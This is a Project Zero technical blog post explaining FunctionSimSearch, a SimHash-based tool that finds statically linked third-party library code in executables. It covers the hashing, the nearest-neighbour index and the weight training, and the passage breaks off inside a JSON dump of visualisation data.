Posted by Thomas Dullien, Project ZeroExecutive summarySoftware supply chains are increasingly complicated, and it can be hard to detect statically-linked copies of vulnerable third-party libraries in executables. This blog post discusses the technical details of an Apache-licensed open-source library to detect code from other open-source libraries in executables, along with some real-world findings of forked open-source libraries in real-world software.Technical blog postPermissive open-source licenses have been a great benefit for the IT industry: Most common problems can be addressed using high-quality libraries under permissive licenses (such as BSD or Apache) which can be easily re-used and integrated.This has been great for everybody.Nevertheless, statically linking third-party code requires special care: Vulnerabilities in third-party code are discovered regularly, and this implies updating your binaries. Things get harder when changes in upstream libraries need to be merged into local forks of the code. Not all organisations get this right, and even companies with mature secure development processes fumble sometimes.For the reverse engineer and offensive researcher, identifying vulnerable statically linked software libraries is both an opportunity and a challenge:
  • An opportunity since it can provide a way to obtain a vulnerability in a target without having to do the hard work of identifying a new one.
  • A challenge since the available tooling for performing this task is exceptionally poor: The standard way is usually a combination of “searching for known strings”, “educated guess”, and sometimes the use of BinDiff (a tool that was designed for a very different purpose).
The technical problem can be phrased as “efficiently performing a fuzzy search into a relatively large space of possible functions”. Fuzzy search is a requirement because compiler differences, optimization changes, and code changes contribute to add “noise” to the code in question.On the side of academic research, several interesting papers (CCS ‘16, CCS ‘17 have proposed sophisticated machine-learning-based methods to combine code embeddings with approximate nearest neighbor searches. They calculate a representation of code in R^n, and then search for nearby points to identify good candidates. While these approaches look powerful and sophisticated, public implementations do not exist, and adoption among practitioners has not happened. On the practical side, real-world use has been derived from CFG-focused algorithms such as MACHOC - but with the downside of being not tolerant to structural changes and not allowing for any “learning” of distances. Recently at (SSTIC ‘18) a neural-network based approach has been presented, with an announcement of making the code available in the next months.This file describes FunctionSimSearch - an Apache-licensed C++ toolkit with Python bindings which provides three things:
  1. An efficient implementation of a hash function (based on SimHashing) which calculates a 128-bit hash from disassembled functions - and which preserves similarity (e.g. “distance” of two functions can be calculated by simply calculating the hamming distance between two hashes - which translates to two XOR and two POPCNT instructions on x64).
  2. An efficient search index to allow approximate nearest neighbor search for 128-bit hashes.
  3. Some supervised machine learning code that can be used to “learn” a good hash function from human-provided examples - given a set of functions that should be similar according to the hash, and a set of functions that should be dissimilar, the code learns a hash function that attempts to respect these examples.
The need for good fuzzy matchingEvery reverse engineer has encountered that different compilers and compiler settings can generate drastically different pieces of assembly. Compilers can alter the CFG significantly, move code around, and even when they do not inline aggressively or unroll loops, decisions about code duplication, instruction movement and scheduling etc. lead to very different disassemblies:
(Visual Studio 2015 unrar code vs. gcc 6.4.0 O1 optimized code)

(Visual Studio 2015 unrar code vs. gcc 6.4.0 O1 optimized code)

It is obvious that a good method to identify a function in the presence of changes is needed, and that both instruction-level and graph-level changes need to be dealt with.Understanding the SimHash algorithm and what it providesSimHashing was introduced in a paper by Moses Charikar, originally in the context of web page de-duplication. It is part of a family of algorithms and concepts called “locality-sensitive hashing”; a concept we will return to later.
The algorithm itself helps condense a set of values into a hash, with the property that the Hamming distance between the two hashes approximates the set similarity between the original sets. This makes estimating the set similarity between two sets blazingly fast (just an XOR and a POPCOUNT operation).

How does it work? Given a set of features as input (which are random 128-bit vectors themselves - if they are not, hash them), calculate a final hash output as follows:

  1. Initialize a vector of 128 floating-point values to all zeroes.
  2. For each feature in the input set, do:
    1. If bit n of the feature is 0, subtract 1 from the n-th floating-point value
    2. If bit n of the feature is 1, add 1 to the n-th floating point value
  3. Convert the vector of floats to a 128-bit vector by mapping positive values to 1, negative values to 0.


Why does this produce a similarity-preserving hash? The intuition can be obtained by imagining what a minor change in the input set would do to the vector of floats: The values of these vectors will be approximately normally distributed with mean 0 and variance ¼ times the number of features.



Some of the values will be close to zero, either negative or positive. By changing the sets slightly (adding or removing a few features), there is some probability of individual values crossing over from positive into negative territory or vice versa. This probability goes up as more of the set changes; for small changes, the odds of many bits flipping is comparatively low.

It is important to note that the result will always be a 128-bit vector, irrespective of the size of the set-of-features from which it was calculated.

What is a good set of input features for our comparison? Ideally we would want to extract features that are representative of what we deem “similar”; e.g. two functions that are compiled from the same source code should have similar (overlapping) sets of features. It is somewhat involved to algorithmically design such features, so for the moment, the features in question are extremely simple: Subgraphs of the control-flow graph, n-grams of mnemonics of disassembled instructions, and constants from operands. In a naive implementation, all features have unit weight - e.g. every feature contributes the same to the final hash. This is clearly not ideal - a function prologue is not very indicative of the similarity between two functions - and we will improve this later in this post. Other non-implemented ideas for more features will be discussed at the end of the document.A simple approximate nearest-neighbor search for hashesWith a way of calculating a similarity-preserving hash for a given input function, how do we search non-trivially sized corpora of such hashes for the “most similar” hash?

The answer lies in a second application of locality-sensitive hashing. If one can construct a family of hash functions so that the probability of two nearby points getting hashed into the same hash bucket is higher than the probability of two distant points getting hashed into the same bucket, one can construct a relatively efficient nearest-neighbor search: Simply use k different hash functions of the family to map inputs to buckets of candidates and process the candidates.Choosing random bits as locality-sensitive hashesSince our inputs are bit vectors, the easiest way to build such a hash function is to simply subsample bits from the vector. This has the nice property that a single random bit-level permutation of the input is enough to construct a hash family: In order to construct k different hashes, apply the bit-level permutation k times to your input and take the first few bits. Bitwise permutations on 128 bits are cheap-ish in software and close to free in hardware; the permutation chosen in the codebase should execute in ~65 cycles on a modern CPU.Choice of data structuresThe underlying data structure is an ordered collection of tuples of the form:
                       <PermutationIndex, k-th-permutation-of-input-hash, result-id>
Performing a binary search using the tuple <k, perm_k(input) & (0xFFL << 56), 0> will give us the hash bucket for a given permutation index and input value. We perform k such searches, and for each hash bucket we add all elements to a candidate list. The hamming distance between each candidate and the input hash is calculated, and the results can be returned in the order of their hamming distance.

A maximally memory- and cache-efficient version of this would simply use a sorted flat array / vector of such tuples; for our purposes (and for efficient insertion) the existing C++ code uses the equivalent of a std::set container, made persistent using a memory-mapped file as storage.Learning a SimHash from examplesOne of the problems with the described approach can immediately be identified: Every feature in the input set is treated with equal importance. In reality, though, features have vastly different importance. Luckily, it is easy to incorporate the importance of individual features into the calculation of a SimHash: Instead of adding +1 or -1 into the vector of floats, one could add or subtract a feature-specific weight.

But how does one infer good weights from the training data? Can we automatically “learn” what features will be preserved across compiler changes, with some predictive power?Using the cheap gradient principleThe workhorse of modern machine learning is automatic differentiation. In simple terms, automatic differentiation provides the “cheap gradient principle” -- which can be paraphrased as “if you can calculate a function from R^n to R, you can calculate the gradient of this function with moderate overhead”. This means that if we can specify a loss function involving our weights, we can try to minimize this loss function. While we won’t have any guarantees of convergence, odds are we can learn weights from examples.

So what we need is a bunch of labelled data (ideally pairs of functions labelled “same” or “not the same”), and a good loss function.Choosing a loss function for the SimHash distanceBuilding a loss function for our distance requires a slight bit of care. Since our final distance is a Hamming distance between two bit vectors, the gradient of this distance is likely to be zero - stepwise functions have many “flat sections” for which we cannot get a useful gradient.

The simplest idea would be to remove the last step of the hash calculation - instead of comparing the hashes that we derive from the vector-of-floats, one could measure the Euclidian distance on the final vectors-of-floats. Unfortunately, this creates “perverse incentives” for the optimizer: The simplest way to make two “similar” functions close to each other would be to shrink weights that occur in both to zero.

So ideally we want something that “penalizes” when pairs of similar functions with large distance and pairs of dissimilar functions with low distance.

We need a function that is positive when two real values do not have the same sign, and zero (or negative) if the two real values that have the same sign. Ideally, it should also provide a slope / incentive to move inputs in the direction of “same sign”.

We start with a simple smoothed step function g(x,y) := - xyx2y2+1.0+1.0:

This function has high loss when the sign of x and y is different, and zero loss when it is the same. Unfortunately, it is also flat on most of the surface, so we need to somehow skew the flat regions to point into the right direction. So we multiply with d(x,y) :=(x-y)2+0.01


This function satisfies our requirements: It provides a way to move parameters in the desired direction, punishes unequal signs, and has zero loss if x and y have equal sign.
In summary: For a given pair of real vectors (each obtained by calculating the hash function without the last step of converting to a binary hash) we can simply sum the loss for each vector entry. We now have a loss function that we can use to adjust our parameters from examples.Generating training dataGenerating training data should - at least in theory - be simple. It should be sufficient to compile some open-source code with a number of different compilers and compiler settings, and then parse the symbol information to create groups of “function variants” - e.g. multiple different compiler outputs for the same C/C++ function. Similarly, known-dissimilar-pairs can be generated by simply taking two random functions with different symbols.

Unfortunately, theory is not practice, and a number of grimy implementation issues come up, mostly around symbol parsing and CFG reconstruction.Real-world problems: SymbolsOne problem arises from the non-availability of good cross-platform tooling for parsing different versions of the PDB file format - which naturally arise when many different versions of Visual Studio are used - and the difficulty of reliably building the same open-source codebase for many different compilers. While GCC and CLANG are often drop-in-replaceable, projects that build without intervention on both Visual Studio, GCC, and CLANG are much more rare.

The (unfortunate) solution to the PDB parsing issue is “giving up” - the codebase expects the PDB information to have been dumped to a text file. More on this below.

The (equally unfortunate) solution to the issue of building the same codebase reliably with Visual Studio and GCC is also “giving up” - it is up to the user of FunctionSimSearch to get things built.

Other problems arise by different mangling conventions for C++ code, and different conventions in different compilers affecting how exactly a function is named. This is solved by a hackish small tool that removes type information from symbols and tries to “unify” between GCC/CLANG and Visual Studio notation.Real-world problems: Reliably generating CFGs, and polluted data setsObtaining CFGs for functions should be simple. In practice, none of the tested disassemblers correctly disassembles switch statements across different compilers and platforms: Functions get truncated, basic blocks mis-assigned etc. The results particularly dire for GCC binaries compiled using -fPIC of -fPIE, which, due to ASLR, is the default on modern Linux systems.

The net result is polluted training data and polluted search indices, leading to false positives, false negatives, and general frustration for the practitioner. While the ideal fix would be more reliable disassembly, in practice the fix is careful investigation of extreme size discrepancies between functions that should be the same, and ensuring that training examples are compiled without PIC and PIE (-fno-pie -fno-PIE -fno-pic -fno-PIC is a useful set of build flags).Data generation in practiceIn practice, training data can be generated by doing:

cd ./testdata      ./generate_training_data.py --work_directory=/mnt/training_data

The script parses all ELF and PE files it can find in the ./testdata/ELF and ./testdata/PE directories. For ELF files with DWARF debug information, it uses objdump to extract the names of the relevant functions. For PE files, I was unfortunately unable to find a good and reliable way of parsing a wide variety of PDB files from Linux. As a result, the script expects a text file with the format “<executable_filename>.debugdump” to be in the same directory as each PE executable. This text file is expected to contain the output of the DIA2Dump sample file that ships with Visual Studio.
The format of the generated data is as follows:

./extracted_symbols_<EXEID>.txt ./functions_<EXEID>.txt      ./[training|validation]_data_[seen|unseen]/attract.txt      ./[training|validation]_data_[seen|unseen]/repulse.txt      ./[training|validation]_data_[seen|unseen]/functions.txt

Let’s walk through these files to understand what we are operating on:

  1. The ./extracted_symbols_<EXEID>.txt files:
    Every executable is assigned an executable ID - simply the first 64 bit of it’s SHA256. Each such file describes the functions in the executable for which symbols are available, in the format:
    [exe ID] [exe path] [function address] [base64 encoded symbol] false
  2. The ./functions_<EXEID>.txt files:
    These files contain the hashes of the extracted features for each function in the executable in question. The format of these files is:
    [exe ID]:[function address] [sequence of 128-bit hashes per feature]
  3. The ./[training|validation]_data_[seen|unseen]/attract.txt and ./repulse.txt files:
    These files contain pairs of functions that should repulse / attract, the format is simply
    [exe ID]:[function address] [exe ID]:[function address]
  4. The ./[training|validation]_data_[seen|unseen]/functions.txt files:
    A file in the same format as the ./functions_<EXEID>.txt files with just the functions referenced in the corresponding attract.txt and repulse.txt.
Two ways of splitting the training / validation dataWhat are the mysterious training_data_seen and training_data_unseen directories? Why does the code generate multiple different training/validation splits? The reason for this is that there are two separate questions we are interested in:

  1. Does the learning process improve our ability to detect variants of a function we have trained on?
  2. Does the learning process improve our ability to detect variants of a function, even if no version of that function was available at training time?

While (2) would be desirable, it is unlikely that we can achieve this goal. For our purposes (detection of statically linked vulnerable libraries), we can probably live with (1). But in order to answer these questions meaningfully, we need to split our training and validation data differently.

If we wish to check for (2), we need to split our training and validation data along “function group” lines: A “function group” being a set of variant implementations of the same function. We then need to split off a few function groups, train on the others, and use the groups we split off to validate.

On the other hand, if we wish to check for (1), we need to split away random variants of functions, train on the remainder, and then see if we got better at detecting the split-off functions.

The differences in how the training data is split is best illustrated as follows:



Implementation issues of the trainingThe industry-standard approaches for performing machine learning are libraries such as TensorFlow or specialized languages such as Julia with AutoDiff packages. These come with many advantages -- most importantly, automated parallelization and offloading of computation to your GPU.
Unfortunately, I am very stubborn -- I wanted to work in C++, and I wanted to keep the dependencies extremely limited; I also wanted to specify my loss function directly in C++. As a result, I chose to use a C++ library called SPII which allows a developer to take an arbitrary C++ function and minimize it. While this offers a very clean and nice programming model, the downside is “CPU-only” training. This works, but is uncomfortably slow, and should be replaced with a GPU-based version.Running the actual training processOnce the training data is available, running the training process is pretty straightforward:

thomasdullien@machine-learning-training:~/sources/functionsimsearch/bin$ ./trainsimhashweights -data=/mnt/training_data/training_data_seen/ --weights=weights_seen.txt[!] Parsing training data.[!] Mapping functions.txt[!] About to count the entire feature set.[!] Parsed 1000 lines, saw 62601 features ...[!] Parsed 2000 lines, saw 104280 features ...(...)[!] Parsed 12000 lines, saw 270579 features ...[!] Processed 12268 lines, total features are 271653[!] Iterating over input data for the 2nd time.[!] Loaded 12268 functions (271653 unique features)[!] Attraction-Set: 218460 pairs[!] Repulsion-Set: 218460 pairs[!] Training data parsed, beginning the training process.Itr       f deltaf   max|g_i| alpha     H0 rho   0 +7.121e+04       nan 4.981e+02 2.991e-06 1.000e+00 0.000e+00   1 +7.119e+04 2.142e+01 5.058e+02 1.000e+00 1.791e-06 3.114e-01   2 +7.101e+04 1.792e+02 3.188e+02 1.000e+00 2.608e-05 5.735e-03   3 +7.080e+04 2.087e+02 2.518e+02 1.000e+00 4.152e-05 4.237e-03   4 +7.057e+04 2.271e+02 2.757e+02 1.000e+00 5.517e-05 4.469e-03    ...

A few days later, the training process will have performed 500 iterations of L-BFGS while writing snapshots of the training results every 20 steps into our current directory (20.snapshot … 480.snapshot). We can evaluate the results of our training:

$ for i in *.snapshot; do foo=$(./evalsimhashweights --data /mnt/june2/validation_data_seen/ --weights $i | grep \(trained\)); echo $i $foo; done

This provides us with the “difference in average distance between similar and dissimilar pairs” in the validation data: the code calculates the average distance between similar pairs and between dissimilar pairs in the validation data, and shows us the difference between the two. If our training works, the difference should go up.

We can see that somewhere around 420 training steps we begin to over-train - our difference-of-means on the validation set starts inching down again, so it is a good idea to stop the optimization process. We can also see that the difference-in-average-distance between the “similar” and “dissimilar” pairs has gone up from a bit more than 10 bits to almost 25 bits - this seems to imply that our training process is improving our ability to recognize variants of functions that we are training on.Understanding the results of trainingThere are multiple ways of understanding the results of the training procedure:

  1. Given that we can easily calculate distance matrices for a set of functions, and given that there are popular ways of visualizing high-dimensional distances (t-SNE and MDS), we can see the effects of our training visually.
  2. Several performance metrics exist for information-retrieval tasks (Area-under-ROC-curve).
  3. Nothing builds confidence like understanding what is going on, and since we obtain per-feature weights, we can manually inspect the feature weights and features to see what exactly the learning algorithm learnt.


The next sections will go through steps 1 and 2. For step 3, please refer to the documentation of the tool.Using t-SNE as visualisationA common method to visualize high-dimensional data from pairwise distances is t-SNE -- a method that ingests a matrix of distances and attempts to create a low-dimensional (2d or 3d) embedding of these points that attempts to respect distances. The code comes with a small Python script that can be used to visualize

We will create two search indices: One populated with the “learnt feature weights”, and one populated with the “unit feature weight”:

# Create and populate an index with the ELF unrar samples with the# learnt features../createfunctionindex --index=learnt_features.index; ./growfunctionindex --index=learnt_features.index --size_to_grow=256; for i in $(ls ../testdata/ELF/unrar.5.5.3.builds/*); do echo $i; ./addfunctionstoindex --weights=420.snapshot --index=learnt_features.index --format=ELF --input=$i; done# Add the PE filesfor i in $(find ../testdata/PE/ -iname *.exe); do echo $i; ./addfunctionstoindex --weights=420.snapshot --index=learnt_features.index --format=PE --input=$i; done

# Create and populate an index with unit weight features../createfunctionindex --index=unit_features.index; ./growfunctionindex --index=unit_features.index --size_to_grow=256; for i in $(ls ../testdata/ELF/unrar.5.5.3.builds/*); do echo $i; ./addfunctionstoindex --index=unit_features.index --format=ELF --input=$i; done# Add the PE filesfor i in $(find ../testdata/PE/ -iname *.exe); do echo $i; ./addfunctionstoindex --index=unit_features.index --format=PE --input=$i; done
# Dump the contents of the search index into a text file../dumpfunctionindex --index=learnt_features.index > learnt_index.txt./dumpfunctionindex --index=unit_features.index > unit_index.txt

# Process the training data to create a single text file with symbols for # all functions in the index.cat /mnt/training_data/extracted_*.txt > ./symbols.txt

# Generate the visualisationcd ../testdata ./plot_function_groups.py  ../bin/symbols.txt ../bin/learn_index.txt /tmp/learnt_features.html./plot_function_groups.py  ../bin/symbols.txt ../bin/learnt_index.txt /tmp/learnt_features.html

We now have two HTML files that use d3.js to render the results:

Unit weights:[{"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.6.4.0.ELF", "x": 24.516630172729492, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 18.414236068725586}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.6.4.0.nopic.nopie.ELF", "x": 24.106849670410156, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 19.133068084716797}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.7.3.0.nopic.ELF", "x": 25.401498794555664, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 18.25548553466797}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.7.3.0.nopic.nopie.ELF", "x": 24.997453689575195, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 18.96271324157715}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.8.0.1.ELF", "x": 24.97837257385254, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 19.64771270751953}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.8.0.1.nopic.nopie.ELF", "x": 24.295143127441406, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 19.86897087097168}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.6.4.0.ELF", "x": 25.640459060668945, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 19.280216217041016}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.8.0.1.ELF", "x": 26.087438583374023, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 18.769113540649414}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.clang.4.0.1.ELF", "x": -27.375547409057617, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -1.325227975845337}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.clang.4.0.1.nopic.nopie.ELF", "x": -27.37071418762207, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -1.3261802196502686}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.clang.4.0.1.ELF", "x": -27.52450942993164, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -1.9881223440170288}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.clang.4.0.1.nopic.nopie.ELF", "x": -27.52716636657715, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -1.985406756401062}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.ELF", "x": 22.277088165283203, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -0.4290383756160736}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.ELF", "x": 22.2771053314209, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -0.42903953790664673}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.ELF", "x": 23.219131469726562, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -0.8862239718437195}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.ELF", "x": 23.222694396972656, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -0.8855322599411011}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.clang.4.0.1.ELF", "x": 15.631413459777832, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 1.6343361139297485}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.clang.4.0.1.nopic.nopie.ELF", "x": 15.6341552734375, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 1.6338257789611816}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.clang.4.0.1.ELF", "x": 15.363375663757324, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 1.0178288221359253}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.clang.4.0.1.nopic.nopie.ELF", "x": 15.361310958862305, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 1.0197478532791138}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.ELF", "x": -18.128116607666016, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -9.538805961608887}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.ELF", "x": -18.13411521911621, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -9.556042671203613}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.ELF", "x": -30.820833206176758, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 3.8929827213287354}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.nopic.nopie.ELF", "x": -30.32258415222168, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 4.058811187744141}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.ELF", "x": -29.838031768798828, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 3.823134660720825}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.nopic.nopie.ELF", "x": -29.65869903564453, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 3.3309872150421143}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -22.3551025390625, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -18.971038818359375}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -21.23505210876465, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -20.079063415527344}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": -21.801420211791992, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -19.623674392700195}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": -21.18855094909668, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -18.37064552307129}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -22.74236297607422, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -18.294231414794922}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -22.00359344482422, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -18.01592445373535}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -21.712360382080078, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -18.91362190246582}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -20.89177703857422, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -19.251567840576172}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": -3.3275623321533203, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 34.276546478271484}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": -3.6149046421051025, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 33.55928039550781}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": -4.031680583953857, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 34.01034164428711}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": -2.604448080062866, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 33.8663215637207}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": -2.4905571937561035, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 33.08468246459961}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": -3.0467216968536377, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 33.15925598144531}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.ELF", "x": -30.78766632080078, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 2.4777815341949463}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.nopic.nopie.ELF", "x": -31.18665885925293, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 3.102872610092163}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.ELF", "x": -30.04930877685547, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 2.5650646686553955}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.nopic.nopie.ELF", "x": -30.54042625427246, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": 2.997335195541382}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 3.757143497467041, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -32.697696685791016}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 3.1246039867401123, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -33.35957336425781}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": 1.8629438877105713, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -32.56636047363281}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": 2.257657527923584, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -33.32585144042969}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 1.1538188457489014, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -32.005943298339844}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": 2.0905706882476807, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -31.679527282714844}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.6.4.0.nopic.nopie.ELF", "x": 2.7020928859710693, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -32.63518142700195}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.7.3.0.nopic.ELF", "x": 3.908594846725464, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -33.78351593017578}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": 3.0778567790985107, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -31.877309799194336}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 2.014678955078125, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -34.324974060058594}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 0.5393853187561035, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -32.76620864868164}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": 0.41754716634750366, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -33.67410659790039}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": 3.362210512161255, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -34.71881103515625}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 1.3539915084838867, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -33.228946685791016}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 1.494147777557373, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", "y": -35.12508773803711}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 1.420926570892334, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI", 